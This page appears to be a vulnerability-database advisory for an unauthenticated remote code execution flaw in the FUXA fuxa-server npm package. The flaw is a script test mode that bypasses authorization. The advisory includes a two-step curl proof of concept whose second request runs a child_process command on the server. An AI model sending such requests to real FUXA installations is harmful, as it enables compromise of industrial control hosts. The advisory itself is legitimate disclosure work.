Alta

FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass

  • Publicada: 26.05.2026
  • Actualizado: 11.10.2026 10:22

Summary

An unauthenticated Remote Code Execution vulnerability exists in FUXA when secureEnabled is set to true. The POST /api/runscript endpoint checks authorization against the stored script's permission by ID, but when test: true is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions.

Script IDs and names can be obtained through the unauthenticated information disclosure in GET /api/project (reported separately).

The only prerequisite is that at least one server-side script exists in the project.

Details

Authorization confused deputy in script execution

File: server/runtime/scripts/index.js, lines 86-103

The authorization check looks up the stored script by ID and validates the stored script's permission field:

js
this.isAuthorised = function (_script, permission) {
    const st = scriptModule.getScript(_script);  // finds stored script by _script.id
    if (admin || (st && (!st.permission || st.permission & permission))) {
        return true;
    }
    return false;
}

When a script has no permission field set (or permission: 0), the expression !st.permission evaluates to true, and the check passes for any caller including guests.

Guest auto-authentication in the middleware

File: server/api/jwt-helper.js, lines 46-72

The verifyToken middleware generates a valid guest JWT when no token is provided:

js
if (!token) {
    token = getGuestToken();
}

The guest token passes verification. The request proceeds to the handler with userId: "guest". The isAuthorised check then finds the stored script and validates against its permission. Scripts without a permission field pass for any user including guests.

Test mode executes attacker-supplied code

File: server/runtime/scripts/msm.js

When test: true is set, runTestScript takes the attacker's code field from the request body, compiles it into a Node.js module via Module._compile, and executes it with full access to require, child_process, fs, and the entire Node.js runtime. The authorization checked the stored script's permission. The execution runs the attacker's code.

PoC

Requires an existing server-side script accessible without restrictive permissions.

Step 1: Retrieve script IDs from the unauthenticated project endpoint

bash
curl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}'
js
{
  "id": "legit-001",
  "name": "calculate",
}
{
  "id": "s_42a888fa-8e3d4213",
  "name": "subs",
}

Step 2: Execute whoami without authentication

Using the script ID and name from step 1:

bash
curl -s -X POST http://192.168.32.129:1881/api/runscript \
  -H "Content-Type: application/json" \
  -d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}'

Impact

Any network-reachable attacker can achieve Remote Code Execution on the FUXA server without any credentials. The attacker needs a valid script ID and name (obtainable through the separately reported information disclosure) and one server-side script to exist in the project.

Potential impact includes arbitrary command execution on the host, access to configured device connections and credentials, and compromise of industrial control functionality managed by the FUXA instance.

This issue depends on the presence of an existing server-side script with no restrictive permissions configured. It does not affect configurations without server-side scripts or where script permissions prevent guest access.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm fuxa-server >= 1.3.0, < 1.3.1 1.3.1

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Debilidad (CWE)
CWE-863
Plataforma
npm
Paquete
fuxa-server
Publicada
26.05.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-rg3m-cfq7-g6h6 - CC BY 4.0

Historial de vulnerabilidades: fuxa-server

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (21) en el archivo
Entradas en total
21
Primera → última
09.2023 06.2026
Sin corrección
9
Explotada en ataques
0

Distribución por gravedad

  • Crítica 8
  • Alta 10
  • Media 3

Divulgaciones por año

  1. 2023: 3
  2. 2024: 0
  3. 2025: 0
  4. 2026: 18
Gravedad:
  1. FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass esta entrada
    Alta CVE-2026-43947 >= 1.3.0, < 1.3.1 1.3.1
  2. Alta CVE-2026-25951 < 1.2.11 1.2.11
  3. Crítica CVE-2026-25939 >= 1.2.8, < 1.2.11 1.2.11
  4. Crítica CVE-2026-25938 >= 1.2.8, < 1.2.11 1.2.11
  5. Crítica CVE-2026-25752 < 1.2.10 1.2.10
  6. Crítica CVE-2026-25751 < 1.2.10 1.2.10
  7. Alta · 9.8 CVE-2025-69983 <= 1.2.7 sin corrección
  8. Alta CVE-2025-69981 <= 1.2.7 sin corrección
  9. Alta CVE-2025-69970 <= 1.2.7 sin corrección
  10. Crítica · 9.8 CVE-2023-31719 <= 1.1.12 sin corrección
  11. Alta · 7.5 CVE-2023-31718 <= 1.1.12 sin corrección
  12. Alta · 7.5 CVE-2023-31717 <= 1.1.12 sin corrección

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.